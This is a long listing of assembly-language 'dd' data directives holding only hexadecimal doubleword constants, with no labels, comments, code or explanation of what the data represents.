		dd 0CEC3591Ah, 0FC2FC775h, 0EB87259Ch, 13F6A1F0h, 0E8E5C0D5h
		dd 88A207A2h, 9EEE59ECh, 90E070A7h, 51464D42h, 0D675A35Bh
		dd 44BAE124h, 90FD931h,	0F1AF7831h, 8A4F6F38h, 33AE109Eh
		dd 0F644BB27h, 86C0F35Ah, 7853E681h, 0C110253Ah, 18390E87h
		dd 0E5DE9C20h, 59D99098h, 68D81329h, 255B3FAh, 5C1685BAh
		dd 28815D17h, 33785D68h, 0BB530103h, 31CE2F83h,	0DA837265h
		dd 1BF473BAh, 0C6838B09h, 0D2C94101h, 7A79BFAFh, 1B0303CEh
		dd 0E3E7E054h, 7F5C3335h, 6C81E10Ch, 7822A6Fh, 0DFE241F7h
		dd 0D0E6E242h, 9BC0B732h, 0C8B3EC41h, 9D0E6625h, 0E797E8C6h
		dd 15F131Ah, 0D65E3F31h, 0C7992064h, 674A501Dh,	8460F689h
		dd 0FC851BADh, 97C230F4h, 0C0A7F4Bh, 0CCC677A8h, 9A62D616h
		dd 0FDC14201h, 0C6C9EA1Bh, 0C99E2C58h, 88EFD6D2h, 5F28DFC0h
		dd 8380E7FCh, 0CB024EC3h, 0C22D4CCDh, 0CD374168h, 0C9FC2476h
		dd 0BCDE928Bh, 0F90F5E62h, 0E934B565h, 0C121C4B6h, 83B4ECECh
		dd 9B91027Dh, 3CE779DAh, 44DC964Dh, 0CB1DF82Dh,	4C7812AFh
		dd 8BD530B5h, 0CE45970Ch, 7CC5AB4Fh, 0F7E9C177h, 8C282F5Fh
		dd 0A39B531Fh, 7EBDE34Fh, 19C45F24h, 47A925CFh,	938237BAh
		dd 0DD01E5AAh, 462F74EDh, 197C295Bh, 0BF8B0840h, 4FE9CA90h
		dd 2C75059Dh, 0F612D384h, 50F10A0Bh, 72E915C6h,	89835439h
		dd 0C92F8BEAh, 2EFEEE2Dh, 0EBF01F46h, 6EE9AD30h, 18204841h
		dd 0B2114FB9h, 0AB169FCBh, 0CA3F96F1h, 0C6E98249h, 0FA1694C2h
		dd 0C8BA5BCFh, 0F14BF632h, 0E7679FF5h, 2BCAA625h, 1985B7BAh
		dd 2F2DA864h, 0BFAFD133h, 4684E44Ch, 58991E9Ah,	0CEE8C05Ch
		dd 81E895A6h, 66B5ED29h, 0FEED8C08h, 3235B9E7h,	0F4E15758h
		dd 0A11568E6h, 0F405C78Ch, 100CF500h, 0C6E956Bh, 689413E5h
		dd 4FE5B893h, 634C65B3h, 53A1D730h, 0DDE0DBB3h,	429776F6h
		dd 0B510724Dh, 1B610B9Ah, 3D7C2C52h, 49275F5Dh,	58C2B2CFh
		dd 0CAF461B1h, 0B6D8DCE4h, 218540D0h, 5A4C0F08h, 29074050h
		dd 0D35EF227h, 0F0C20186h, 203E52D4h, 0EEE4D545h, 0AC40F2B8h
		dd 9BF0B7B9h, 6B499F4Ch, 0CBDAAE90h, 0E1DAE005h, 986F1D7Eh
		dd 1AF18D6Ch, 2C61250Dh, 0C26AE191h, 0C221B74Dh, 31273B28h
		dd 393DA860h, 38525E80h, 0ED3ADDBAh, 0C1F28181h, 9D10E379h
		dd 0E82180Ch, 77D60142h, 510FF4A0h, 455B703Fh, 0E806CDB0h
		dd 81C55AE9h, 0DCD4F657h, 0C9B4DC30h, 5BAA6870h, 940353Dh
		dd 47505D55h, 4098EDA0h, 0FF69C1ECh, 94A20103h,	75715074h
		dd 0F776DFF5h, 6D09C425h, 0D8C998D9h, 0BD0A4971h, 0AE30CE45h
		dd 4DEEBD34h, 6861E7BCh, 8A7B5111h, 0E22A7C94h,	0B0D25E5Eh
		dd 0CD810040h, 4C3D2876h, 9637487Eh, 0DD0C2C32h, 4BDB4A1Fh
		dd 483EA1Dh, 0B40111A8h, 8020C84h, 645B37E9h, 0AA9C2EFDh
		dd 0CF8181DEh, 2B1E08A3h, 0D7DCD900h, 322166B6h, 45525FFAh
		dd 0E6636A61h, 0FB1CB5C0h, 78EB8080h, 0E1854E4Ah, 20623AB5h
		dd 0A9C1E2DAh, 261F9CB3h, 4FF5056h, 825E7CB5h, 1F543227h
		dd 81609626h, 250E5BC7h, 0C15A703Eh, 16DF0882h,	6E3C4132h
		dd 0B5FA5398h, 7B164A09h, 4F6B3690h, 3126C013h,	0E52DC101h
		dd 20796602h, 0FE3FED57h, 90503003h, 100A3E3Fh,	40EF016Eh
		dd 9526E908h, 1C4A020Fh, 64B7297h, 0D574701h, 31210519h
		dd 0B88CCE0Eh, 0CE994D48h, 0D8F45C47h, 0FBB546FCh, 0E8D3B75Ch
		dd 0DE38C992h, 0B592F66h, 0ADC55649h, 0FE386140h, 8BA1702h
		dd 61F4BBEAh, 3BAC258Ch, 603B37DCh, 46165EE6h, 1877B5Ch
		dd 36C5B5FEh, 9CAD0E9h,	400202Fh, 21CA4AC4h, 0E1C8CE64h
		dd 5F023ED0h, 281A6F91h, 1DF41D8Bh, 9F66662Fh, 46207164h
		dd 305C2C97h, 0B472420Ah, 8020165Dh, 9740A6F0h,	5872ED4Ch
		dd 1E1E1150h, 925951CCh, 0A398BFE7h, 98BD52CAh,	0B43E36A2h
		dd 25B8C83Eh, 0E5C97BD9h, 315C0578h, 0A08994C3h, 0AF9E717Dh
		dd 47CDE9C1h, 61C28000h, 9192B7F0h, 25FC3517h, 4FB336A0h
		dd 324D419Bh, 7E1C925Bh, 809ECD4h, 43A4DC5Eh, 35C32773h
		dd 3988EBB0h, 0EA4F2025h, 0DB080A80h, 4A04B010h, 0FA08E2C1h
		dd 807F2B40h, 97210B7Ch, 42B7F46Ch, 96AB2C1Eh, 0C0ABD2EDh
		dd 5F97CB59h, 4B328212h, 5CE9FE80h, 0C58DA845h,	482604F9h
		dd 0AC6C01D0h, 8EE909EBh, 4FA754B5h, 0D012D904h, 0D475F9D7h
		dd 11C27B48h, 0B35E063Dh, 0C427933Dh, 78F8F0A5h, 68AA80D3h
		dd 84824CEFh, 0E8124D0Dh, 2BD840EBh, 70AA722Ch,	0D25B98BAh
		dd 0B1CF58DAh, 1368A424h, 53F7609Fh, 4265A168h,	7A934E57h
		dd 64C71828h, 0EB8810B1h, 0D8D3F63Ch, 687444C5h, 1531E42Ch
		dd 0F5BB5360h, 727A006Dh, 1607E381h, 0F3EC36A0h, 67271B0Ah
		dd 0BE02DD74h, 761E9112h, 25822C26h, 8B92580h, 494B0168h
		dd 0B3449097h, 0A51B31BFh, 86213D95h, 622AE883h, 0DA309BBAh
		dd 0D32663F6h, 5426D709h, 2EA7C264h, 80BBB101h,	0C1CCA0E1h
		dd 9D5BFAEDh, 0FA7C0B09h, 720B8BCFh, 0F53723Dh,	0CB8835B1h
		dd 71ABE289h, 790E99Eh,	5BF58497h, 0EE2D34FFh, 93A5B634h
		dd 0DA3B22DAh, 5CD16802h, 5051CEBDh, 1195507Fh,	9F35583Eh
		dd 0E943ECC3h, 465EF7A2h, 218A2480h, 860B5827h,	612FA604h
		dd 0D718C67Ah, 1D8F665Ch, 8C6448A4h, 6666041Eh,	9D2AA0BAh
		dd 44887B49h, 4A53ACC8h, 7485A235h, 0B923902h, 2A864256h
		dd 0B302A5D2h, 405E0C4Ah, 58C56EE0h, 0B7129EFAh, 0EF6CE456h
		dd 3EDFFB3Eh, 0E421137Dh, 0CA1146D2h, 2E9655C5h, 1784E49Dh
		dd 61361968h, 23F6A829h, 89592F9Eh, 2C5FF38Eh, 311502CBh
		dd 714859E9h, 76EEC601h, 49F3385Bh, 5F236813h, 40C892E8h
		dd 3297BD93h, 649E1D92h, 0CEE28100h, 3935F036h,	364BF1E9h
		dd 2DE742BCh, 0E2189471h, 0EF2002EEh, 7B5B5402h, 0B0291ABh
		dd 0E6C403E9h, 5A162F04h, 107392A7h, 0F2217A19h, 595AEAFAh
		dd 0A62373F4h, 2C536093h, 5C271E84h, 0D0097CB0h, 0E20BF143h
		dd 0BA8B60A9h, 85F4582Ch, 75A4DA10h, 0AC593F6h,	0BBE92D5Ah
		dd 45E8765h, 10AA3EDAh,	6EA34ED9h, 28342F7Dh, 2DC1C293h
		dd 0E7DB8148h, 39FE53BFh, 0EC8C0620h, 0E4195ADAh, 8494F6DDh
		dd 84D83109h, 271DF267h, 5B4D7C59h, 68E15E40h, 316A4A28h
		dd 6AEA6D61h, 685D1230h, 0EF99B580h, 9B5751B9h,	0AAEC0532h
		dd 0C0CED139h, 0BBA43A34h, 5AD73112h, 0F14E94A8h, 844F7D07h
		dd 931FBCC8h, 0A18901D5h, 0BF3D4805h, 0FBC6B52Ch, 170D2BBEh
		dd 75D954E7h, 772B443Bh, 15E9615Ah, 4041092Eh, 0BF07E145h
		dd 0C6529068h, 82ABF705h, 0BBC73D04h, 58AE9832h, 0C1645AA8h
		dd 92EFBAh, 95059968h, 0EBA82B65h, 0B422CA12h, 54955840h
		dd 9F012B1Bh, 32085A88h
		dd 0AE0F53F6h, 4E1FE4C2h, 157A28BFh, 4A60EFAAh,	60A47E41h
		dd 5A462D03h, 2829BB38h, 13C0310Bh, 0BCF79DE9h,	98FCD2E9h
		dd 0D16B4A7Ch, 0D6AF371h, 5A8B043Ch, 0E301345Ah, 0E9493865h
		dd 0F22AD819h, 71AC2703h, 5854805Ah, 758B6857h,	5F713702h
		dd 8102EFC1h, 4DDD5EDDh, 0F9F86670h, 0CED8046Bh, 86BF00D2h
		dd 0B0117840h, 5FE4A8A9h, 0F7FA1A87h, 0A0D708D7h, 163C2F6h
		dd 0E9F80B44h, 0FC4935Fh, 0E04CAAF0h, 1AE940Eh,	466208B8h
		dd 0D5FDDFF7h, 0F882176Bh, 37064B46h, 0C43FF031h, 13B1238Eh
		dd 99116C31h, 5323327Ah, 494AC163h, 0E8F55DB9h,	0E6B9C480h
		dd 0A7FFA457h, 0E84939F6h, 204E161Fh, 704AE09Ah, 3ABD551Dh
		dd 6F8E0B1Fh, 448FF501h, 0C987982h, 0E95EC6A7h,	0BB148C25h
		dd 6A49DA7Dh, 4A0082D7h, 3467572Dh, 0A3AF842Dh,	3C917B21h
		dd 8AA993FDh, 8BB0F85h,	58806714h, 41982540h, 0FB127C5Ch
		dd 0A1B39B74h, 0F8E54E92h, 4057406Ah, 9E28CB6h,	4858C32Eh
		dd 4A97C42Fh, 0EDC5B1B4h, 4C272C30h, 31FE390Dh,	42D5E4F5h
		dd 0A44F6B79h, 979E5496h, 201CB800h, 48C14E0Ah,	0D7342E6h
		dd 63C01779h, 0EEE22012h, 495FC0Fh, 5FEAE920h, 3D58CBACh
		dd 0BFC33180h, 0B54E8F14h, 8002D880h, 205425F5h, 8D9BEA9h
		dd 0A365509Fh, 4F279435h, 0E00A8543h, 0FF65BA70h, 0C6C32903h
		dd 9AC28D43h, 0D79677F0h, 0CE70C29Ch, 40BA9550h, 0A3F8EBC0h
		dd 89FF46D1h, 59ED1851h, 58CB5201h, 92A2444Fh, 5D8D139Ch
		dd 0C2A69645h, 0E5F2A55Fh, 0E2420247h, 80B87498h, 4A506DC5h
		dd 949F5F34h, 481DA4EEh, 4B851C21h, 8762BE90h, 56C5D54h
		dd 0BB1269B3h, 28F26831h, 9D963E08h, 5EF70105h,	9840178Bh
		dd 12944D4Bh, 0D9683376h, 0D4EAEA31h, 0E99E2D0h, 0C50346C0h
		dd 0F7A99A6Ah, 0B0B0817Bh, 0B75300DBh, 8FC1B594h, 87922AA0h
		dd 24E6FABEh, 5CE5FFDh,	80829211h, 5386EB3Fh, 4A5B8527h
		dd 5D0804F7h, 12D1C8BAh, 0CA2B5081h, 0D22E5CD2h, 81F68194h
		dd 1B1AD02Fh, 95C7EE10h, 1C987782h, 0FAFBEF29h,	0C7809EA9h
		dd 7A321ACAh, 0ADF3873Eh, 59B98154h, 82E3DBF6h,	839756F7h
		dd 43186D3Bh, 6E2AF1B0h, 4C603Eh, 668575E9h, 4BCB29F6h
		dd 0D50F8259h, 30DE7C0Fh, 108F520Dh, 0BD5AF3D8h, 0C380CFC0h
		dd 0E328B203h, 5BC53DE9h, 2AAF320h, 0CC68F9F7h,	62C7744Ah
		dd 0A36BA19Ch, 4A06F1ECh, 50012513h, 40D4B02Dh,	60B78996h
		dd 1484552h, 0AC25732Fh, 60385C51h, 5B9592B2h, 5029190Ch
		dd 0E4BC305Bh, 4D2F7716h, 992502CBh, 0C527255Ah, 68BCB002h
		dd 0CEC9B7CDh, 882997F9h, 0F8289305h, 0C330A680h, 4B87B50h
		dd 0E922616Ah, 0CDA888C9h, 0C020B502h, 40D5F769h, 3262B326h
		dd 0ACD489C2h, 0D7625B07h, 6F3275CFh, 7BB3BD41h, 3296C91h
		dd 12A3BF00h, 16B1509h,	4B2CD9FDh, 0D1178BFEh, 0A808D1C7h
		dd 2D00EF99h, 36261E58h, 3317017Ch, 267A29A6h, 976CA9FCh
		dd 343413D5h, 68DA44E9h, 7BB800F4h, 2506E407h, 8A2C289h
		dd 18F56A6Bh, 0BFCE1A7Bh, 0EA4FA466h, 5825CDB7h, 0AD5CF6E2h
		dd 2CFDF153h, 802EE32Eh, 0AD208EB9h, 0C0095E5Eh, 433CC2D2h
		dd 6055CE2Fh, 2C8BC0D8h, 82C952D5h, 6CAD0CB2h, 0E2D5116h
		dd 47C38E93h, 831EBFE1h, 7CD11C39h, 17627D91h, 0EE2C16C0h
		dd 9313527Ah, 9651B249h, 0BA107B2Dh, 0EBAF408Dh, 47F8C24Ah
		dd 0A42614B2h, 1451972Dh, 0FB8D94E2h, 0DA68848Ah, 0E4D0E872h
		dd 0D9B8C440h, 4C583A5Eh, 0AE011348h, 2917812Ch, 62CC2FD8h
		dd 0AD3730E9h, 1A09C161h, 0C1D0530h, 16176985h,	4047E949h
		dd 61762D32h, 46D42907h, 0E9084036h, 36131D4Fh,	2D0E39F8h
		dd 0BB60735Bh, 0D28CA4D5h, 2E0070B4h, 0FB016743h, 0B594F4E9h
		dd 0C75E012Bh, 28936805h, 0E44EC3A2h, 99D55F2h,	0A0E3E67Eh
		dd 1C0A62EFh, 7F4D0FDBh, 0F5A4C502h, 0EA85F024h, 4C0BA3C2h
		dd 2AD09C80h, 4ED680Ah,	88EEA335h, 0E02D1427h, 974ADE81h
		dd 57D41212h, 829E7A27h, 0D8282EAh, 2A51196Bh, 663F71A2h
		dd 0EF23F294h, 341FB9C3h, 4E5E2DE0h, 0F6A129F8h, 590F9805h
		dd 0FA7D0B0Ch, 2740B801h, 0B3914Bh, 7FD685D1h, 61FF9D74h
		dd 224F50B2h, 403CC45Bh, 4AE6BB00h, 0D13E39A3h,	425D25EBh
		dd 0D8C46B6Dh, 241DAF01h, 811E7C1h, 0BE01F892h,	13DF27C8h
		dd 1DEECF70h, 0BA6D3111h, 0E299D182h, 405751FDh, 0E204F01h
		dd 6FC15E59h, 0A3E902A2h, 112FF50h, 0DE1258C2h,	0E868BA20h
		dd 0A512B178h, 5A1369F3h, 0FA3F0F9h, 0FC75925Ah, 0D84EBA09h
		dd 5A285CC3h, 98BF184h,	2486745Ah, 0B0DF524Ch, 9BD1F173h
		dd 2C70B62h, 2F7F3A9Ah,	668B6929h, 84336FD5h, 0E7A2818Bh
		dd 7C40F329h, 0D725181Bh, 2CA6E509h, 2612103Ch,	8737BF5Eh
		dd 54C9F3B2h, 448E626Ah, 69253779h, 0A79D455Fh,	0CFDCE5C1h
		dd 2A4A9403h, 85EDB062h, 54FB2FE0h, 9BC9E1E2h, 3AD46565h
		dd 232B486h, 5AF25C8Ch,	0BD58FD87h, 63E7AB6Bh, 0B752F03Ah
		dd 5AF17D9Ch, 134D1296h, 0B5BFF820h, 49E9EA87h,	0E2CAD6FCh
		dd 77B241EDh, 0C33F8F3Dh, 69E2398Fh, 0F3C99764h, 0F05F2562h
		dd 2D30E890h, 80FA4A67h, 5144EA04h, 1C801B96h, 4C7E6DC8h
		dd 0D24AD4Fh, 685761E2h, 5E2ED0DFh, 0E7D15F16h,	187642ACh
		dd 0C308B23h, 1804A2E2h, 26ADE913h, 3C88E2B6h, 0C2A68E1h
		dd 1312CB6Bh, 35BDF701h, 0BB247E8Bh, 5E84BE5Ah,	0B0C100B8h
		dd 7FAAE9BEh, 0DD58850Ah, 8A49051Eh, 85A3F630h,	0C7835EF5h
		dd 2748C24Ah, 7832CD4h,	0D918945Ch, 373A494Fh, 0F1EAE289h
		dd 5869B45Ch, 0B5507C1Ch, 6CA17EE6h, 0D2342DE1h, 7B15A500h
		dd 0B84D5003h, 0F40CA023h, 84F262Bh, 6B5D05F3h,	90B7C1A2h
		dd 5A6600D8h, 4CD72D68h, 0E4305598h, 81091FD2h,	0E1EF702Fh
		dd 0B42DC930h, 0D83101D8h, 4D7C9668h, 0D075FCA7h, 6B88FCBEh
		dd 0B912CB8h, 0D35C0178h, 3057F0C9h, 5FD2D1A0h,	331DAC2Dh
		dd 0E1407C27h, 1794508h, 70551F8h, 12017F31h, 0FCEE0CE9h
		dd 47FC83B4h, 0E40153EAh, 7EA405E0h, 69F4E181h,	0C246F23h
		dd 76836822h, 50D6500h,	3FE91328h, 59C020A7h, 9902278Ch
		dd 3231B850h, 0EBDD8272h, 95F22713h, 0FE0BAF20h, 619E4AEDh
		dd 0BB00F66Bh, 4FE2F47h, 6A30A09Fh, 2474D92Eh, 180EBC1h
		dd 3525A8E3h, 28C8FF64h, 0E812AA8Ah, 2684B6E9h,	4B5E8AAAh
		dd 842AE58Dh, 0AB8BBA73h, 82E3AC4Ah, 7D129CE9h,	6B570E1Ah
		dd 21C6ECFCh, 129890Ah,	3A8FD307h, 6ABF1004h, 0D080540Fh
		dd 305CFACFh, 770C14BCh, 0C2E0757h, 94A0F4D1h, 9F78501h
		dd 0A788E9FAh, 0BD26B372h, 6855829Ah, 0F5542897h, 773BC862h
		dd 68A6B94h, 0F5163140h, 9906C8BDh, 0DE41C543h,	7329F85Bh
		dd 2C62F5F9h, 20814517h, 2AD617B4h, 626050DDh, 0B71B185Ch
		dd 6E79B823h, 56193907h, 0FAF0EFBEh, 12F70965h,	0C8F403E9h
		dd 0B6125C7Dh, 6FA83080h, 83E744B7h, 0BCA52C86h, 4152A2B7h
		dd 368449Ah, 0D4BBE8A4h, 97B820E1h, 3566BD00h, 24C041FCh
		dd 5DD229AAh, 0B9CB4B68h, 62FA810Eh, 1073B20h, 2027691Dh
		dd 112ED94Ch, 980928F4h, 0E440932Dh, 0F4EB9C0h,	323A7ED9h
		dd 5D72A8D3h, 866F7CD6h, 0B19D29Ah, 205F8959h, 0B757E0C8h
		dd 224BC6A4h, 0EA2724BDh, 0B44DBCC4h, 12553B81h, 92E31F69h
		dd 3C56FD04h, 1647AC30h, 9C2D5D0Ch, 0DE7A7D22h,	4D47C324h
		dd 72240DEDh, 98BABD19h
		dd 0E37D87F7h, 2D1A126Ch, 5CA10E3Ah, 11808C2h, 8B871041h
		dd 0C517E6B7h, 1A7BA764h, 0CE6AB302h, 3E33E14Ah, 0FABE7834h
		dd 0CC111636h, 89790931h, 0E984D365h, 0D8AF0921h, 124AABA2h
		dd 6196A8E9h, 2C35E967h, 0B592D4Eh, 0F2037695h,	6CCDF87Ah
		dd 2D7AFD79h, 7BA72BF9h, 0ABC9D935h, 63847C35h,	0BE00B0ACh
		dd 40092011h, 0FF8F301h, 28249DB2h, 291759C5h, 832263F3h
		dd 0EC20FA90h, 0A7BA0132h, 295A2634h, 9729BFD3h, 4652DEEDh
		dd 4903D701h, 522E2C5Dh, 0C82EAEE7h, 6A751811h,	0DE03DB54h
		dd 0B42B623Bh, 8A7801ABh, 54074C63h, 6707189Eh,	2B5B52E9h
		dd 5A2676E3h, 4AFEA104h, 277824Dh, 58C247ABh, 0ED80F35Eh
		dd 921539F9h, 0C0E84A01h, 3DCC688Bh, 6549369Eh,	0DF0E0B73h
		dd 0EA83665Eh, 2859D50Ah, 0B06E64Ch, 636A1DEEh,	41B25A02h
		dd 5066810Fh, 0A62E6D68h, 0AE10147Bh, 286C0427h, 0C10140B9h
		dd 802DB062h, 6358880Ch, 0E131E97Bh, 8336D87Fh,	1402C027h
		dd 10199922h, 68668158h, 7CD21DD8h, 0C1764F97h,	3FCA3190h
		dd 0D2C0F182h, 0C1CD05CEh, 0C00AA46Ah, 7B652A2Ah, 0A80C3D67h
		dd 316064F0h, 895D12E8h, 27C1B6C3h, 88D71C2h, 8004D866h
		dd 44AB4FEDh, 133EF343h, 29441DCDh, 5136ED17h, 6988B407h
		dd 0A341177h, 0BB81157Ah, 0F7704592h, 4B28E8D7h, 86D162A9h
		dd 4B4F048h, 123BADCDh,	294308h, 0F643B753h, 0EF0780DFh
		dd 5BFD282Eh, 7E59EB02h, 65AA2099h, 0BEFAE8B8h,	67222341h
		dd 1EE90BD2h, 0F04BE068h, 0F04A0139h, 59873732h, 432BA488h
		dd 87277C8Ah, 55B202CEh, 92995E54h, 5F29E833h, 5C3AD1CCh
		dd 8C808B23h, 29DE75F7h, 0C32DD67Dh, 0CB06D12Bh, 4925D344h
		dd 16A2E4F9h, 1447EABEh, 0B55B3CC2h, 870C807Fh,	29418446h
		dd 51B8F5h, 72C97CCBh, 5B7F9225h, 2CA5950h, 4F224858h
		dd 3AA91F85h, 13C74C8Ah, 550E9259h, 97CE75Dh, 5A5ABBE9h
		dd 5159CF0Bh, 0BA730457h, 58A59CAFh, 8E5B42B0h,	5FF73FC2h
		dd 3C2212E9h, 0CF680B21h, 201C660Bh, 0AC09F635h, 574CB151h
		dd 3B1B1222h, 86891A6Ch, 2DABF079h, 0E905E897h,	85EE96B7h
		dd 815355E2h, 59B2B25h,	42F47C16h, 37C4B55Bh, 0CFB04C30h
		dd 0BB53F0h, 6CB87C3Eh,	576F492Dh, 0D8291105h, 0AFB002E9h
		dd 0BFF07288h, 8B5BE5E0h, 806B0189h, 0C9451113h, 4E32267Eh
		dd 66EE79C1h, 0C0DCF64Fh, 685AD56Fh, 28BB41A4h,	832AD20Eh
		dd 0D48FE927h, 821624FBh, 0B9720910h, 0EF843827h, 836809C4h
		dd 0C72FEDDEh, 565F097Ch, 0D63CB1DDh, 0BFC7E430h, 700129C9h
		dd 29B7CAC2h, 8FF540Eh,	0D92F83FBh, 0E2954AB0h,	0A1704BE9h
		dd 35D4E1EAh, 0F8A38F20h, 0B702EC11h, 558EC3AEh, 456CBDCFh
		dd 5DFAE814h, 0F62B70FFh, 29375B7Eh, 0A03810C3h, 0ABFB2035h
		dd 45FD8713h, 0DF298101h, 457A8CC2h, 0ACA8541Fh, 45A090B6h
		dd 572C808Eh, 1284940h,	5277FAEBh, 0E55ADB90h, 0D743F608h
		dd 0AD29E0FDh, 0F69C4DECh, 1E746800h, 0C5E2893h, 0EE83DEF7h
		dd 0D0ABF3F2h, 0A8BADAD3h, 7F5CE249h, 0DA033DD3h, 2DD4DEBCh
		dd 2472C44h, 1002E25Bh,	0C000FB44h, 0D0F602E0h,	10BB353h
		dd 865BD828h, 0ED639549h, 0CADE8C1h, 3F061A69h,	6A06512h
		dd 156500DAh, 85EA8128h, 5009385Eh, 71E614E9h, 0C00C0865h
		dd 807AD01Fh, 0C9FE02E1h, 0EF86D9F6h, 1F3D5290h, 9E79CE80h
		dd 0B6D601C6h, 8F5F6583h, 5EA95872h, 86406218h,	5BDF3101h
		dd 0D186032Eh, 0EC6F7E7h, 481063Dh, 0A1E59EC4h,	0D19E1CABh
		dd 17004CD0h, 0B12C754Fh, 0F66BF58h, 8D55B790h,	20AB35F5h
		dd 89BD187Bh, 89EC51B1h, 0F77C62E9h, 805A3726h,	4805840Bh
		dd 0BD89777h, 3FF9CCDh,	7BE30C80h, 0F9E9FC6Ah, 581AA39Ch
		dd 0EC9840EBh, 2ED53E7Ah, 2029F5A6h, 0EB8BBD08h, 989DB994h
		dd 0B7E1F6E8h, 15DF26A9h, 102C109Ah, 803B8BC2h,	0CB286407h
		dd 8AEB6259h, 0AE8D0249h, 10C95434h, 0AADEE90Bh, 4DB480F7h
		dd 9D420A18h, 770B64D3h, 0FD5D9A3Fh, 9C7037A2h,	8840B500h
		dd 0EB3AA3E8h, 0CCBACCD5h, 0F4400725h, 20579201h, 954CEAD1h
		dd 9B4827CFh, 85C4FC43h, 70F91F22h, 0DBC7B797h,	0DB016BA8h
		dd 0E91E3F25h, 6C7C0C41h, 573630C1h, 0E31B3070h, 331A097Ch
		dd 0AEECB01h, 0D5105E08h, 62D52D26h, 1CD72F16h,	0F9C5B78Fh
		dd 813471A7h, 3251C2Dh,	5F29477h, 508B4A07h, 5923359h
		dd 123B68B8h, 0C124BB61h, 0A258D731h, 3F01396Bh, 26900089h
		dd 0C98100EFh, 7305033Eh, 90D171F7h, 9780B0E0h,	0C057EF1Ah
		dd 97378530h, 4921C3A2h, 0F0E5165Fh, 500394DAh,	0F1966851h
		dd 2D63CA4Dh, 0F0E2E985h, 0CF6BFEF7h, 0DBDB0004h, 0EC5BFC28h
		dd 0A09C4EF4h, 0E9185AACh, 0C2C38456h, 5E17122Fh, 0A95CAE5Bh
		dd 48F577C1h, 0E10529D2h, 92D92071h, 0BBB53B39h, 0F6E90931h
		dd 70DC5424h, 72499068h, 109CCB84h, 17FCC30Ah, 0BCF7C9B0h
		dd 0DD88346Ah, 3B7904BBh, 856794B6h, 182CFA52h,	0C8B70B0Fh
		dd 607B6E68h, 3A805D0Dh, 0B7589573h, 74366882h,	57136C5Bh
		dd 41452EABh, 6FD95DC5h, 73689BCDh, 7822BE00h, 0EEC16EA3h
		dd 814E0300h, 0D46F02F6h, 0D68BB70Dh, 0CAF88850h, 735A2B1Fh
		dd 24BCDE30h, 7B29E84Dh, 402D04D0h, 0BC552106h,	0A2D1B30Fh
		dd 1E10DEF8h, 0FF60B17h, 465ADABAh, 66D5DBA0h, 70745327h
		dd 0BFE29F32h, 0E9020A0Fh, 74F89Dh, 8C3299BBh, 0A72E5D0Eh
		dd 0B7494FAEh, 0BD11D1B8h, 2B191287h, 0E086901h, 9F932808h
		dd 0FE623553h, 6647755Fh, 0F197B2AAh, 50316A5Fh, 0C35A85E9h
		dd 4F687F88h, 239E45FAh, 6F3FA415h, 0E09F9DE2h,	4E49181Ah
		dd 6186BCBBh, 98D4E904h, 1F6E44AFh, 3E555833h, 7FDBB85Ch
		dd 9F3ABE89h, 3AA20B4Ch, 0F1C87FC2h, 0AF5E2A02h, 522946D2h
		dd 46F324BFh, 355EC250h, 9FF51CD5h, 0B525756Ch,	9C928Eh
		dd 91ECA0AEh, 0A2D09576h, 77D70506h, 1A425DFh, 6717FF8h
		dd 3559C829h, 0E90A0189h, 9A0E7A12h, 0ED003242h, 0E5C2140Ch
		dd 7FD34189h, 7807A740h, 5BE92931h, 5847B38Ah, 19CA17EFh
		dd 0DED3E1C8h, 3EA6C906h, 0CAD89B7Dh, 96D958A5h, 0B1E29CAh
		dd 0B283C884h, 0D74F7E8Eh, 0CB8A7C12h, 4EE8AC4Ah, 9392ADC0h
		dd 0EAD373F7h, 59522551h, 81057346h, 0C5EB41F1h, 4601D6E8h
		dd 29235A4Dh, 16D5FBCFh, 0C33E2C08h, 8B49E935h,	0F9F962FBh
		dd 0D811C104h, 0EA85F013h, 0DAB9EE70h, 88C2839h, 61E64BD4h
		dd 123CD321h, 0FB778717h, 30A12274h, 0BF3D376Bh, 0B6A7C2D2h
		dd 0AD91615Dh, 5BB7F23Eh, 20D305F2h, 6EE95745h,	2A289BBEh
		dd 761A391Dh, 1D6A0D47h, 7A2D2080h, 0A3AFB81Fh,	5967E07Ch
		dd 476A9D56h, 88770809h, 142581C8h, 2CE500FEh, 0E681473Eh
		dd 614867EFh, 0BDF60420h, 6FD0C807h, 5A1D79FBh,	0A157A03Ah
		dd 54D67BB2h, 56BF6A94h, 0BC8C897Ch, 0E96D62D6h, 0D27DF060h
		dd 0B34BFE96h, 579C115Dh, 2D527020h, 0A6E1CE65h, 890D8156h
		dd 8606E9CFh, 0CAB9287Fh, 133BC041h, 1860B226h,	0B2187FF1h
		dd 0C2800395h, 51EA28B5h, 0DDF637A0h, 0E9CDFE1Eh, 25E3A057h
		dd 5F3E4548h, 0F8113A12h, 7DF4D05Ch, 0B8402DF8h, 335177ADh
		dd 0D77DE762h, 8FDACFF1h, 0E70EC5A1h, 0ED601F7Eh, 4CF1715Eh
		dd 48062812h, 2443B545h, 5672C70Fh, 3E09322Ch, 0C71520Eh
		dd 7FE1321Ch, 5910C730h, 99013045h, 31D2BCFDh, 9B7B30E8h
		dd 0A47733B7h, 0B4D372A8h
		dd 0C632E974h, 62092AD3h, 3AADC030h, 0A47A2610h, 7EAF0736h
		dd 8729754Eh, 0F48654CEh, 4508E166h, 0A931595Eh, 5EA26BAFh
		dd 5805A352h, 300C76C2h, 8B0473A1h, 0C593E97Fh,	0D2B740FCh
		dd 0BD46AA07h, 1A8CB480h, 0EF205995h, 8AD6B6E4h, 3AF65105h
		dd 90F043C1h, 0F78DF23Ch, 2E16ED36h, 0CA810912h, 0DA76DC25h
		dd 0B9E2125Ah, 1F68F0A7h, 0E6FA438h, 104E4BBDh,	170A9974h
		dd 0D7010Bh, 7621CEEBh,	0CB68290Fh, 590F084Ch, 0F77E89E9h
		dd 0C4D0A030h, 45015299h, 4F1CCE0Eh, 7B3C34F1h,	0A4DA2D25h
		dd 92DD9DA1h, 5B245C14h, 1822BD6h, 18364498h, 65D5E956h
		dd 0B1CF6F4Dh, 0C219345Bh, 0E455A857h, 0B408F0E8h, 0FB9016Bh
		dd 0E9257D39h, 7FDF6CC7h, 617B9F29h, 0BA54510Eh, 0E32C510Ah
		dd 3F2787E9h, 47A9A58Bh, 0BC4477CDh, 7E5D29BBh,	0FA6DBE29h
		dd 242B8C10h, 510C8721h, 4B526701h, 90AE37Bh, 0D0F55D54h
		dd 4A5005BBh, 0BC2955F4h, 440C2707h, 0DC2B797h,	0BFFE457Fh
